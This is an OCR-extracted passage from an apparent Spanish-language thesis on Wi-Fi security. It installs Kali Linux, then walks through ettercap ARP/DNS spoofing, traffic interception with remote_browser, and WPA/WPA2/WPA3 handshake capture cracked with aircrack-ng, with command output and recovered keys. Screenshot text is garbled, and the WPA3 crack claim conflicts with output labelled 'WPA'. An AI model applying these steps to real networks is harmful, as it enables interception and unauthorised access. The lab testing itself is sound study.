Select your tume 2on0:

Configure the clock

Central
Mountain
Pacific
Alaska
Hawaii
Arirona

East indlana
Samoa

Screenshot Go Back 1 Continue

Figura 41: Configuracion del reloj. Fuente: Elaboracién Propia.
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o A continuacién se detecto los discos y la particion de cada uno de ellos,

en esta ocasion se ha optado por utilizar todo el disco que se habia
configurado previamente.

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, If you prefer,
you can do it manually. With quided partitioning you will still have a chance later to review and customise the
results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used,
Partitianing method:

Gulded - use antire disk
Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

‘Screenshot Go Back | continue

Figura 42: Deteccion de discos. Fuente: Elaboracion Propia.

o Es importante confirmar el disco en el cual se va a instalar el sistema
operativo
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KALI

Partition disks

Note thar all data on the disk you select will be erased, but not before you have confirmed that you really
want 1o make the changes,
Select disk to partition:

SCSIN (0,0,0) (stha) - 215 GO VMware, VMware Virtual §

[ sereenshar | GoBack || Continue

Figura 43: Confirmacion del disco a utilizar. Fuente: Elaboracion Propia.
o Luego de finalizar la configuracion del disco en el cual se va a realizar la

instalacién, se termina con la particion y luego guardar lo cambios del
disco tal como se muestra en la siguiente figura.

Partition disks

This is an overview of your currently configured partitions and mount ponts. Selsct » partition to modify &5 settings (file
System, mount pont otc), a ree Space [0 craate partilions, or 3 device Lo NItk2e its partition fabls

Guided partitioning
Configure software RAID
Configure the Logical Volume Manager

Configure encrypted volumes
Configure ISCS!

¥ SCSI1(0,0,0) (sda) - 21.5 GB VMware, VMware Virtual S
> 21 primary 20.4GB

f oxts ]
> #5  logical 1L0G8

1 swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

Screenshot Help ' Continue

: G;: Bac-t

Figura 44: Finalizar y escribir los cambios. Fuente: Elaboracion Propia
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o Una vez que los cambios se han escrito correctamente en el disco se
procede a confirmarlos.

Partivion disks

i you continue, the changes listed below will be written to the disks. Otheswive, you will be able 10 make
further chamges manually.

The partition tables of the following devices are changed:
SCSE) (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCS11(0,0,0) (seda) as oxta
partition #5 of SCSI13 (0,0,0) (sda) as swap

Write the changes o daks!
No

" Yes

Screenshot Continue |

Figura 45: Confirmacion de los cambios del disco. Fuente: Elaboracion
Propia.

o Luego de confirmar los cambios se procedi6 a realizar la instalacion del
sistema operativo base.

Install the base system

=3 mstalling the base system
Hetrieving Mbtasnl-o

Figura 46: Instalacion del sistema operativo base. Fuente: Elaboracion
Propia.
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Cuando se ha finalizado la instalacién del sistema operativo base se

procedid a continuar con las herramientas predeterminadas de kalilinux.

Software selection
AL the moment, anly the core of the system is installed. The default selections below will install Kall Linux
with its standard deskrop envir

and the default tools,

You can customize it by choosing o dilferent desktop environment of & different collection of tooks.
Choose software o install

¥ Desktop environment [selecting this item has no effect)

WL Xice (Kali's default desktop environment)
.. GNOME

.. KDE Plasma
« Collection of tools [selecting this item has no effect]

¥ ... TOP10 -- the 10 most popular tools
W o..default <1

ded tools (available in the live sy

Screenshot | Continue |

Figura 47: Instalacion de las herramientas. Fuente: Elaboracién Propia.

o Una vez que se han escogido las herramientas que se desea instalar

comenz6 la instalacion tal como se muestra en la figura 42.

Select and Install software

F 7 7 3| Select and install software

Retrsving fie 115 of 2036
Figura 48: Instalacion del software. Fuente: Elaboracion Propia.

o Es importante instalar el cargador de arranque ya que es la unidad
principal del registro de arranque.
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“ (AL

Install the GRUS boot loader

it seems that this new installation ks the only operating system on this (o-wlef i 50, It should be safe to
install the GRUS boot loader to your primary drive (UEFI partition/boot rec

If your ¢ has h

that the & dlor failed 1o detect, this will make
that op-ralnq synun temporaridy unboouhlc uo-gh GRUB can be manually configured later to boot it,
fnstal) the GRUE boot loader to your primary drive?
No
- You
Screenshot

GoBack || Continue

Figura 49: Instalacion de la unidad principal. Fuente: Elaboracion Propia

o Ha sido necesario escoger el dispositivo en donde se realizé la
instalacion de la unidad principal.

nstall the GRUB beot loader

You need to make the newly installed system bootable, by installing the GRUB boot loader on & bootable
device. The usual way to do this is to install GRUS to your primary deive (UEFE parition/boot record). You may
instead install GRUS to a difforent drive (or partition), or 1o removable media.

Device b boot lnader mstalntion.

Enter device manually

dovisda

Scrwenshor |

Gollack | | centinue |

Figura 50: Dispositivo donde se instalara la unidad principal. Fuente
Elaboracioén Propia.
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o Finalmente empezara la Ultima instalacion de Kali Linux.

Finish the installation

R ——

Running update-initramfs...

Figura 51: Instalacion Final. Fuente: Elaboracion Propia.
o Alfinalizar la instalacion e Kali Linux se presenté una ventana en donde
indica que la instalacion se ha completado, es necesario dar clic a

continuacion para que se dé inicio al modo grafico del sistema operativo

Finish the installation

Instalation complete
llation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation,

Scroenshot GoBack | Continue |

Figura 52: Instalacion completada. Fuente: Elaboracién Propia.
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CASOS PRACTICOS
1. Ataque Man In The Middle - ARP Spoofing + DNS Spoofing en WPA2.

El siguiente caso tiene como objetivo redirigir e intervenir el trafico de una

victima mediante arp spoofing y realizar un envenenamiento con DNS Spoofing.

Para realizar este ataque se hizo uso de la herramienta ETTERCAP, para ello
es necesario seguir los siguientes pasos:

a) Configuar el servicio, para ello es necesario abrir el archivo de

configuracion etter.conf y cambiarle el usuario por defecto ya que ha sido

quien realizo las acciones. Es por ello que se colocara 0 para que se tome

como referencia al usuario root.

s

File Actions Edit View Help

@ ~
/etc/ettercap

® /etc/ettercap

etter.conf etter.dns etter.mdns etter.nbns

2 /etc/ettercap
etter.conf JJ

Figura 53: Configuracion del archivo etter.conf. Fuente: Elaboracion Propia.
b) Es necesario configurar el archivo etter.dns ya que es donde se ha
establecido el redireccionamiento de nombres de domino y se indica la ip

de Kali ya que es donde se levantd el servidor web.

L Jetc/ettercap

etter.conf etter.dn

/etc/ettercap

r.ans

Figura 54: Configuracion del archivo etter.dns. Fuente: Elaboracion Propia.
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c) Es importante iniciar el servidor web luego de que se haya realizado al

configuracion en los archivos antes mencionados.

Fle Actions Edit View Hetp

Figura 55: Iniciacion del servidor Web. Fuente: Elaboracién Propia.
d) Luego que se haya iniciado correctamente el servicio web se debe
ingresar a la interfaz de ettercap para ello ejecutamos el comando

ettercap -G y seleccionamos la interfaz de red con la cual se trabajara.

/etc/ettercap
Ettercap

Setup
Sniffing at startup

Primary Interface  wlanQ

Bridged sniffing

Bridged Interface

Figura 56: Configuracion de la interfaz de red mediante el comando

ettercap-G. Fuente: Elaboracion Propia.
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e) Es importante escanear los hosts de la red en cual se ha trabajado, para

ello es necesario dar clic en el icono de buscar.

Progress

Figura 57: Escaneo de los hosts de red. Fuente: Elaboracion Propia.
f) Cuando se termine de escanear todos los hosts que se encuentran
conectados a la red se procede a listar para seleccionar con cual de ellos

se realizara el ataque.

Figura 58: Seleccion del host(Victima). Fuente: Elaboracion Propia.
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g) Agregamos al target 1 la ip de la victima y al target 2 la puerta de enlace

por la cual se suplantara.

Ettercap

IP Address MAC Address Description
192.168.01 AGFITIIN6286

Figura 59: Configuracion del IP y puerta de enlace de la victima.
Fuente: Elaboracion Propia.
h) Posteriomente corresponde ir al apartado de pluggins, y escoger Manage

plugginns para de esa manera proceder a activar el dns spoofing.

1P Adibress MAC Adidreas

LSRN0 ACEDSC PO

P Addrem MAC Addrens

16801

e _spaot St sgted s vepline

Figura 60: Activacion del DNS Spoofing. Fuente: Elaboracion Propia.
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i) Despues que se haya seleccionado en dns_spoof se inicia el ataque

hacia la victima seleccionada.

4ne

Figura 61: Inicio del atague a la victima seleccionada. Fuente:
Elaboracion Propia.

j) Para comprobar que el ataque tuvo éxito se accede a la maquina victima
y se trata de ingresar a cualquier pagina web, si ingresa a la pagina que
se desea sin ningun problema, entonces el ataque no tuvo éxito; pero si
no ingresa a la pagina y muestra otra ventana como en este caso el index
de apache, eso significa que el ataque tuvo éxito.

T bt e $ 004) Ss mt Erp . Tﬂ
L - “ -

L L T T TR P Q-

— I

O Apache2 Debian Default Page

-

Eiaura 62: Ataque DNS Spoofing exitoso en WPA2. Fuente:

Elaboracion Propia.
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Descripcion del Ataque Man In The Middle - ARP Spoofing + DNS Spoofing
en WPA2.
El ataque Ataque Man In The Middle (ARP Spoofing + DNS Spoofing) en el
protocolo WPA2 tuvo exito ya que la victima no pudo ingresar a ningun domino,
puesto que el trafico se estaba dirigiendo a otro nombre de dominio.

Ataque man in the middle ARP Spoofing y DNS Spoofing con el protocolo
WPA
Para realizar el mismo ataque al protocolo WPA es necesario configurar el router

gue se esta utilizando y seguir los mismos pasos indicados anteriormente.

Figura 63: Seleccion y activacion del DNS Spoofing en WPA Fuente:
Elaboracién Propia.

LR Yok =

T ——

B e bt St § (] g s Dot wncia Ve b %0 L TR &

O Apache2 Debian Default Page

Figura 64: Ataque DNS Spoofing exitoso en WPA. Fuente: Elaboracion
Propia.
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Descripcion del Ataque Man In The Middle - ARP Spoofing + DNS Spoofing
en WPA.
El ataque descrito anteriormente tuvo éxito en el protocolo WPA puesto que la
victima no logra ingresar a ninguna pagina web ya que el trafico se esta redirigiendo
a la maquina del atacante, el ataque en este protocolo se realiza en menor tiempo

que en WPAZ2 puesto que su cifrado es menos seguro.

Ataque man in the middle ARP Spoofing y DNS Spoofing con el protocolo
WPA3
Para realizar el mismo ataque al protocolo WPA3 es necesario configurar el router

que se esta utilizando y seguir los mismos pasos indicados anteriormente.

Figura 65: Seleccion y activacion del DNS Spoofing en WP3. Fuente:

Elaboracion Propia.
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Error al ingresar al sitio web

Figura 66: Ataque DNS Spoofing exitoso en WPA3. Fuente: Elaboracion
Propia.
Descripcion del Ataque Man In The Middle - ARP Spoofing + DNS Spoofing
en WPAS.
Este ataque tuvo éxito al utilizar el protocolo WPA3 ya que la victima no puede
ingresar a ningun sitio web, aunque en mayor tiempo que en WPA y WPAZ2. Este
ataque fue exitoso porque hace uso de la IP de la victima y de la puerta de enlace.
2. Atague Man In The Middle en WPA2

El atague man in the middle permite capturar las transmisiones entre las
victimas y también puede modificar las comunicaciones, en el presente
ataque se hizo uso de la herramienta ETTERCAP de Kali Linux y para ello
se han seguido los siguientes pasos:

a) Lo primero que se hizo al realizar este ataque es verificar los IPs de las

maquinas a utilizar

oy C\Windows!system3Ziom P e |
{ of T TR >

Figura 67: Verificacion del IP de la victima. Fuente: Elaboracion Propia.
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ING, MULTICAST>

n 1000

Figura 68: Verificacion del IP de la maquina con Kali Linux. Fuente:
Elaboracién Propia.

b) Se ingresé a la herramienta ETTERCAP, que se hizo mediante el comando
ettercap -G como se muestra a continuacién. Al ingresar fue necesario

escoger la red en la cual trabajara para el ataque.

/etc/ettercap
Ettercap

Setup
Sniffing at startup

Primary Interface  wlanQ

Bridged sniffing

Bridged Interface

Figura 69: Acceso a la herramienta ETTERCAP en WPA2. Fuente:

Elaboracion Propia.
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c) Es importante realizar un escaneo de todos los hosts que tiene la red

seleccionada

Extercap

Figura 70: Escaneo de los hosts en la red seleccionada. Fuente: Elaboracién
Propia.
d) Cuando se finaliz6 el escaneo, se listan los hosts con el fin de conocer la

direccion IP de la victima.

Ettercap

IPAddress  MAC Address Description

Figura 71: Listado de los hosts en la red seleccionada. Fuente: Elaboracion

Propia.
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e) Al momento que se haya identificado a la victima, se procede a sefalarlo
como target 1 y a su puerta de enlace se agregara al target 2 tal y como se

hizo en el anterior ataque.

Host192.168.0.104 added to TARGET1

Host192.168.0.1 added to TARGET2

Figura 72: Marcacion del IP y la puerta de enlace como Target 1 y 2
respectivamente. Fuente: Elaboracion Propia.

f) Con la direccién de la victima agregada, se procede a dar clic en ARP
Poisoning.

Figura 73: ARP Poisoning en la victima selecionada de la lista de hosts.

Fuente: Elaboracion Propia.
g) Luego de seleccionar el arp se debe verificar que se encuentre marcado
“sniff remote conections”. Al realizar eso ya se esta interceptando los

paguetes que provienen de la victima.
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Figura 74: Seleccion de la opciéon Sniff remote connections. Fuente: Elaboracion

Propia.

Host List X Plugins X
1 Plugins
Name Version Info

Manage plugins

arp_cop 1.1 Report suspicious ARP activity
: Load a plugin...
autoadd 1.2 Automatically add new victims in the target range

Figura 75: Vista de plugins. Fuente: Elaboracién Propia.
h) Posteriormente se debe seleccionar la opcion remote-browser para obtener
las URL visitadas.

ety _tecaveer | 2

Figura 76: Configuracion de la opcién del comando remote-browser. Fuente:

Elaboracion Propia.
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i) Para comprobar se puede acceder a una pagina web desde la maquina
victima, se puede observar que la pagina se carga un poco mas lento,
tambien se puede verificar en la consola de windows que la mac de la puerta

de enlace se ha cambiado por la mac del equipo del atacante kali.

B Amaransom Spend e Smis

c " amazon.oom ) e 0 f » * g

n

» {12 Login y ieges @ Medioy apstar el 3. Bietwenido a Cybva. = B s delecon

All  Today's Deals Customer Service Registry  Gift Cards  Sell

B O Amdows spstem ) o exe |

Gaming accessories

Figuﬁra 77: Verificacion de-afaque exitoso de Man in the middle. Fuente:

Elaboracién Propia.
j) Enla maquina del atacante kali se puede visualizar que se va desplegando

las paginas web visitadas de la victima.

Figura 78: Historial de paginas web de la victima desde la computadora del

atacante. Fuente: Elaboracion Propia.
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k) Otra manera de corroborar el ataque es con la ayuda de Wireshark en donde
se puede realizar un analisis del trafico de la victima, que es redirigido hacia

el atacante y luego redirigido hace la puerta de enlace predeterminada.

Aoperaie el [1he]  TIEsems

Figura 79: Verificacion del ataque mediante la herramienta Wireshark.

Fuente: Elaboracion Propia.
Descripcion del Ataque Man In The Middle en WPA2
El ataque man in the middle en el protocolo WPA2 tuvo éxito ya que se logré
capturar con éxito el trafico de la victima, para corroborar este ataque se ha utilizado
wireshark herramienta que permite realizar un analisis de trafico y también se ha
observado que la puerta de enlace en la victima ha cambiado.
Atague man in the middle con el protocolo WPA
Es importante que para realizar el mismo ataque al protocolo WPA se configure el
Access point que se esta utilizando, con el fin de conocer si este ataque es exitoso

con dicho protocolo.

CELULARES

Tenemos el que buscas

HARTA

2x fes

SIN INTERES

£ TE LLEGA GRATIS DESDE

Al navegar en esie sitio aceptas las

Mis informacion,

Figura 80: Verificacion del IP de la victima en WPA. Fuente: Elaboracion Propia.
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Ettercap

Host List X Plugins X

Name Version Info

autoadd 12 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success

dns_spoof 13 Sends spoofed dns replies

dos_attack 1.0 Runa d.o.s. attack againstan IP address

dummy 3.0 A plugin template (for developers)

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

DHCP: [08:00:27:C5:06:53] REQUEST 192.168.0.101

DHCP: [192.168.0.1] ACK : 192.168.0.101 255.255.255.0 GW 192.168.0.1 DNS 192.168.0.1
Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

3 hosts added to the hosts list...

Host192.168.0.101 added to TARGET1

Host192.168.0.1 added to TARGET2

ARP poisoning victims:

GROUP1:192.168.0.101 AC:ED:5C:F5:FC:B2

GROUP 2:192.168.0.1 B0:C5:54:81:43:8E
Host192.168.0.101 added to TARGET1

Activating remote_browser plugin...

REMOTE COMMAND: xdg-open http://amazon.com/
REMOTE COMMAND: xdg-open http://google.com/
REMOTE COMMAND: xdg-open http://cocacola.com/
REMOTE COMMAND: xdg-open http://www.coca-cola.com/
REMOTE COMMAND: xdg-open http://pepsi.com/

REMOTE COMMAND: xdg-open http://mercadolibre.com/

Figura 81: Configuracion de la opcion del comando remote-browser en WPA.

Fuente: Elaboracion Propia.
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*wian0

File Ednt View Go Capture Analyze Statistics reless Help

d0 A0 + REB @ a « - 2 o[l

IR |t=p
Destination Protocol  Length Info
192 5 2 TwSv1i. 2 185 Appllcation Data
192 hE . & Tce 66 443 392 [ACK] Seq=31 A
192.168.6.162 TCP 1406 [{TCP segment of a reassem
£2.168.0.102 45.60.84.53 Tce I8 587742 443 [ACK] Seq=1 Ac
5.66.84.53 192 _168.6.162 Tce 1486 [TCF segnent of a roassemt
50648732 45,060 .84 .51 92.168.0 2 fce 1400 [TCP segoent of & reassent
.502501758 40 .68 . 84.01 52.108.6.1 TCP 1400 |TCF segment of a reassem
9531200297 45.668.84.51 92 .168.0. 2 rce 1466 [TCP segment of a reasses
. 949706431 60 .84, .52 $2.168.0.102 ce 1466 [TCP segment of reassemt
, 948028298 .60 .51 9 108.0.162 14006 |TCF s=gment o reassemt
24.540134478 45.66.84.5 2_168 .6 - 1466 [TCP segeent of a reassent

24, 944406868 4 60 - B92.168.0 - 1466 [TCP segonent of & reassent

541102113 45.00,84, 8 2 2 1400 Encrypted Data

Figura 82: Verificacion del ataqgue en WPA mediante la herramienta Wireshark.
Fuente: Elaboracion Propia.

Descripciéon del Ataque Man In The Middle en WPA
Como bien se conoce el protocolo WPA tiene mayor vulnerabilidad que el protocolo
WPAZ2 es por ello que al ejecutar el ataque man in the middle se penetra con éxito
permitiendo capturar todo el trafico que la maquina victima genera, el ataque tiene
se penetra en la victima en una menor cantidad de tiempo en comparacion con

WPAZ2, lo cual lo hace mas vulnerable al momento que se activa un ataque.
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Ataque man in the middle con el protocolo WPA3

Es importante que para realizar el mismo ataque al protocolo WPAS3 se configure el

Access point que se esta utilizando.

+-

< C & mercadolibre.cl/#from=hor

Q

CELULARES

Tenemos el que buscas

MHASTA

12x

SIN INTERES

ENVIOS|3

A TODO CHILE

£D TE LLEGA GRATIS DESDE

Al navegar en este sitio aceptas las

Mas informacién,

&S C\Windows\system32\cmd.exe
< ows [Verzidn 6.1.7681)
399 Microsoft Corporation. Re

4

1-cc-4c¢
Ef~FE~FE~FF
Se-88-88-16

@i
a0 28-08-fh
0a B8-88-f
B0-Se-2f-ff~fa
FE-FE-FF-FF-FF

Figura 83: Verificacion del IP de la victima en WPAS3. Fuente: Elaboracion Propia.
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Host List X Plugins %

Name Version Info

autoadd 1.2 Automatically add new victims in the target range
chk_poison 11 Check if the poisoning had success

dns_spoof 13 Sends spoofed dns replies

dos_attack 1.0 Runa d.o.s. attackagainst an IP address

dummy 3.0 A plugin template (for developers)

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

DHCP: [08:00:27:C5:06:53] REQUEST 192.168.0.133
DHCP: [192.168.0.1] ACK :192.168.0.133 255.255.255.0 GW 192.168.0.1 DNS 192.168.0.1

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Host192.168.0.133 added to TARGET1
Host192.168.0.1 added to TARGET2

ARP poisoning victims:
GROUP 1:192.168.0.133 AC:ED:5C:F5:FC:B2

GROUP 2:192.168.0.1 B0:C5:54:81:43:8E
Host192.168.0.133 added to TARGET1

Activating remote_browser plugin...

REMOTE COMMAND: xdg-open http://amazon.com/
REMOTE COMMAND: xdg-open http://google.com/
REMOTE COMMAND: xdg-open http://cocacola.com/
REMOTE COMMAND: xdg-open http://www.coca-cola.com/
REMOTE COMMAND: xdg-open http://pepsi.com/

REMOTE COMMAND: xdg-open http://mercadolibre.com/

Figura 84: Configuracion de la opcion del comando remote-browser en WPAS3.

Fuente: Elaboracion Propia.
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Figura 85: Verificacién del ataque en WPA3 mediante la herramienta Wireshark.

Fuente: Elaboracion Propia.

Descripcion del Ataque Man In The Middle en WPA3
El presente ataque tuvo éxito en el protocolo WPA3, aunque en un tiempo mucho

mayor que en los protocolos WPA2 y WPA que se implementaron anteriormente.
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3. Ataque de Fuerza Bruta en WPA2

El ataque de fuerza bruta se presenta cuando el atacante intenta descifrar
contrasefias mediante la aplicacion de un método conocido como pruebay error
con la finalidad tratar de obtener la combinacion correcta, esto se realiza
probando todo tipo de combinaciones posible hasta lograr conseguir la clave.
Para realizar este ataque es importante seguir los siguientes pasos:

a) Verificar si existe una tarjeta inalambrica para ello es necesario utilizar

el comando que se muestra en la siguiente figura.

no wireless extensions.

no wireless extensions.

unassociated ESSID:"" Nickname:"<WIFIQREALTEK>"

Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 Signal level=0 dBm Noise level=0 dBm

Rx invalid nwid:@ Rx invalid crypt:@ Rx invalid frag:@

Tx excessive retries:@ Invalid misc:0 Missed beacon:0

Figura 86: Verificacion de la tarjeta inalambrica en el equipo atacante.
Fuente: Elaboracion Propia.

b) Al momento que se conozca que si existe la tarjeta inaldmbrica es
necesario convertirla en modo monitor, para cambiar a este modo es

importante utilizar el comando que se muestra a continuacion.

~

1 start wlan@

Found 2 processes that could cause trouble.

Kill them using ‘airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
456 NetworkManager
690 wpa_supplicant

PHY Interface Driver Chipset

phyl wlan0 88XXau TP-Link Archer T2U PLUS [RTL8821AU]
(monitor mode enabled)

Figura 87: Modo monitor del equipo atacante. Fuente: Elaboracién

Propia.
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c) Al haber ejecutado el comando para convertir la red inalambrica en modo
monitor se puede apreciar que hay procesos que se deben eliminar para que
no se presenten interferencias al momento de utilizar dicha red es por ello

que se ejecuta el comando que se presenta a continuacion.

~

check kill

Killing these processes:

PID Name
690 wpa_supplicant

Figura 88: Ejecucion del comando Check kill para eliminar procesos
ajenos al ataque. Fuente: Elaboracién Propia.
d) Luego de matar los procesos antes presentados se procede a verificar que

la red inalambrica se cambié al modo monitor para ellos se ejecuta el
siguiente comando.

® ~

lo no wireless extensions.

eth@ no wireless extensions.

wlan@ unassociated ESSID:"" Nickname:"<WIFIQREALTEK>"

Mode:Monitor Frequency=2.457 GHz Access Point: Not-Associated

Sensitivity:0/0

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/10@ Signal level=0 dBm Noise level=0 dBm

Rx invalid nwid:@ Rx invalid crypt:@ Rx invalid frag:0
excessive retries:g nvalid misc:0 Missed beacon:0

Figura 89: Verificacion de la red inaldmbrica. Fuente: Elaboracion
Propia.
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e) Es importante visualizar todas las redes inalambricas para identificar las
redes que la antena Wifi es capaz de reconocer y con el fin de conocer el

nombre de la red, el canal y la seguridad que este posee.

Figura 90: Reconocimiento de la victima objetivo. Fuente: Elaboracion
Propia.

f) Una vez que se haya identificado la red a la cual se va a realizar el ataque
se procede a realizar la captura de trafico con el fin de obtener el handshake.

AG:F3:C1:13:62:86 wlan@

1[ Elapsed: 54 s 1[ 2021-11-08 13:40 ][ WPA handshake: A@:F3:C1:13:62:86

BSSID PWR RXQ Beacons /s CH MB ENC CIPHER AUTH ESSID
AD:F3:C1:13:62:86 -40 90 484 p 2 270 WPA2 CCMP  PSK Pruebas
BSSID STATION WR Frames Notes Probes

AG:F3:C1:13:62:86 F2:FO:BE:ED:86:E1 -2¢ 0 605 EAPOL
Quitting ...

Figura 91: Captura del trafico de la red en la maquina atacante. Fuente:

Elaboracion Propia.
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g) Es importante que el handshake se guarde en una ruta conocida ya que
posteriormente se utilizara el archivo .cap para el descifrado de la
contrasenfia, en este caso se ha optado por guardar el archivo con el nombre
wpa201 en la carpeta tmp, esto con el fin de acceder de manera mas rapida

al archivo.

Figura 92: Obtencion del handshake mediante comandos en modo consola.
Fuente: Elaboracion Propia.

h) Para comprobar que el documento se haya guardado se comprueba
dirigiéndose a la carpeta tmp y se procede a listar tal como se muestra a

continuacion.

® /tmp
Ls /tmp/wipa201-01.
-Tw-r--r-- 1 root root 81320 Nov
-Tw-r--r-- 1 root root 573 Nov

2 /tmp/wpa201-01.cap
2 /tmp/wpa201-01.csv

-Tw-r--r-- 1 root root 3801 Nov
-Tw-r--r-- 1 root root 70511 Nov

2 /tmp/wpa201-01.kismet.netxml
2 /tmp/wpa201-01.1og.csv

8 14:0
8 14:0
-rw-r--r-- 1 root root 587 Nov 8 14:02 /tmp/wpa201-01.kismet.csv
8 14:0
8 14:0

Figura 93: Comprobacion del guardado del archivo .cap. Fuente: Elaboracion

Propia.
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)

)

El archivo .cap se puede abrir con la herramienta Wireshark para visualizar
el trafico que se ha guardado en dicho archivo, el trafico que se observa

corresponde Unicamente a la red que se selecciond.

ATUTC TR TR S R T L R T R IR IR EIIDO0 e

Figura 94: Visualizacion del archivo .cap mediante la herramienta Wireshark.
Fuente: Elaboracion Propia.

Luego de observar el tréfico encriptado que se capturo se procede hacer uso
de la herramienta aircrak-ng misma que permitird descifrar o romper la
contrasefa para ello se utiliza un diccionario el cual contiene una lista de
palabras con el cual se realizara una combinacion de palabras hasta que

encuentre una coincidencia con la clave del Access point.

Figura 95: Descifrado de la contrasefia mediante aircrak-ng. Fuente:
Elaboracion Propia.
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Descripcion del Ataque de Fuerza Bruta en WPA2
El ataque de fuerza bruta al utilizar protocolo WPA2 tuvo éxito puesto que se logré
conocer la contrasefia del Access point por lo tanto se podra ingresar sin ningun
problema a dicha red. Este ataque depende de la fuerza que tenga la clave ya que
si la clave cuenta Unicamente con nimeros demorara menor tiempo en descifrar
que una clave que contenga letras, nimeros, signos, ya que las combinaciones que
realice van de acuerdo a las que se encuentren en el archivo. Es importante conocer
ademas que el atague de fuerza bruta se basa en intentar, ya que depende de
multiples factores como por ejemplo si el diccionario esta construido solo con
palabras y la contrasefia cuenta con nimeros es improbable que se obtenga la
contrasena.
Ataque de fuerza bruta con el protocolo WPA

Para llevar a cabo el ataque de fuerza bruta hacia el protocolo WPA se debe seguir
los mismos pasos que se describen anteriormente ya que nada cambia, la Unica
diferencia que se visualizara es que al momento de analizar las redes se podra
corroborar que el protocolo ha cambiado por WPA tal como se muestra a

continuacion.

ENC CIPHER AUTH ESSID

el

v W W Wy

AXRXAXRXXR

Home_network
CONEXION-TOTAL
FAMILIA_ZUNIGA
Pruebas

=l = s -

o

FAMILIA VARGAS
CONEXION_TOTAL
FamiliaZZ

Prueba_Router

0

o8 e

0 v
v W wwn
AXRXAXRXXR

STATION 0S Frames s Probes

Quitting ...

Figura 96: Reconocimiento de la victima objetivo con WPA. Fuente:

Elaboracion Propia.
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tmp
2 BO:C5:54:81:43:8E wlan@ /tmp/wpa®2

16:24:16 Creafed capture file "/tmp/wpa®2-02.cap”.

Elapsed: 24 s ][ 2021-11-22 16:24 ][ WPA handshake: B@:C5:54:81:43:8E

PWR RXQ Beacons #iData, #/s 3 ENC CIPHER AUTH ESSID
-53 100 116 , 2 . . WPA TKIP PSK Prueba_Router
STATION Frames Notes Probes

81:43:8E AC:ED:5C:F5:FC:B2 2 2486 EAPOL
Quitting ...

Figura 97: Obtencion del handshake mediante comandos en modo consola WPA.

Fuente: Elaboracion Propia.
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® /tmp
Y g /usr/share/wordlists/diccionario.txt

Reading packets, please wait...
Opening /tmp/wpa®2-02.cap
Read 4552 packets.
# BSSID ESSID Encryption

1 BO:C5:54:81:43:8E Prueba_Router WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening /tmp/wpa®2-02.cap
Read 4552 packets.

1 potential targets

Aircrack-ng 1.6
[00:00:00] 24/24 keys tested (660.74 k/s)
Time left: --
KEY FOUND! [ @ntony0_915 ]
Master Key - 62 09 A0 12
E4 09 8C D1
Transient Key : 00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00

EAPOL HMAC - 80 F6 F8 C3

Figura 98: Descifrado de la contrasefia mediante aircrak-ng. Fuente: Elaboracién
Propia.

Descripcion del Ataque de Fuerza Bruta en WPA
El ataque de fuerza bruta tuvo éxito al utilizar el protocolo WPA esto se comprueba
en la imagen prestada anteriometne ya que ahi se visualiza que se obtuvo con
facilidad la clave de la red a la cual se dirigio en ataque, es importante mencionar
gue el tiempo de respuesta del ataque en este protocolo es mas rapido que en el

protocolo WPA2 esto se da por el tipo de cifrado que utiliza.
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Ataque de fuerza bruta con el protocolo WPA3
Para llevar a cabo el ataque de fuerza bruta hacia el protocolo WPA3 se debe seguir
los mismos pasos que se describen anteriormente ya que nada cambia la Gnica
diferencia que se presenta es que al momento de analizar las redes se podra

corroborar que el protocolo ha cambiado por WPAS.

#/s Ci MB ENC CIPHER AUTH ESSID

Figura 99: Reconocimiento de la victima objetivo con WPA3. Fuente:

Elaboracion Propia.
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Q® /tmp
S 181:4 wl: /tmp/wpa20L
16:04:09 Created capture file * ¥

lapsed:

Figura 100: Obtencién del handshake mediante comandos en modo consola.

Fuente: Elaboracion Propia.

157



® /tmp

ircrac g /usr/share/wordlists/diccionario.txt /tmp/wpa203-02.ca

Reading packets, please wait...
Opening /tmp/wpa203-02.cap
Read 1430 packets.

# BSSID ESSID Encryption

1 BO:C5:54:81:43:8E Router_ Pruebas WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening /tmp/wpa203-02.cap
Read 1430 packets.

1 potential targets

Aircrack-ng 1.6
[00:00:00] 20/20 keys tested (606.85 k/s)
Time left: —

KEY FOUND! [ Prueb@_123 ]
Master Key

Transient Key

EAPOL HMAC

Figura 101: Descifrado de la contrasefia mediante aircrak-ng. Fuente:
Elaboracion Propia.
Descripcion del Ataque de Fuerza Bruta en WPA3
El ataque de fuerza bruta tuvo éxito al utilizar el protocolo WPAS3 esto se comprueba
en la imagen anterior ya que ahi se evidencia que se logo obtener la clave del
Access point, el tiempo de respuesta del ataque hacia este protocolo es mas lento

gue los antes presentados.
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4. Ataque DoS ared wifi en WPA2
El ataque DoS permite para desconectar a un cliente en especifico o a su
vez para saturar el Access point (Router). Para realizar este ataque se

requiere utilizar los comandos que se muestran a continuacion:

a) Visualizar si se cuenta con un adaptador de red inalambrico para ello utilizamos

el comando que se muestra a continuacion.

~

no wireless extensions.

no wireless extensions.

unassociated ESSID:""™ Nickname:"<WIFIQREALTEK>"

Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

Retry:off RTS thr:i:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/100 Signal level=0 dBm Noise level=0 dBm

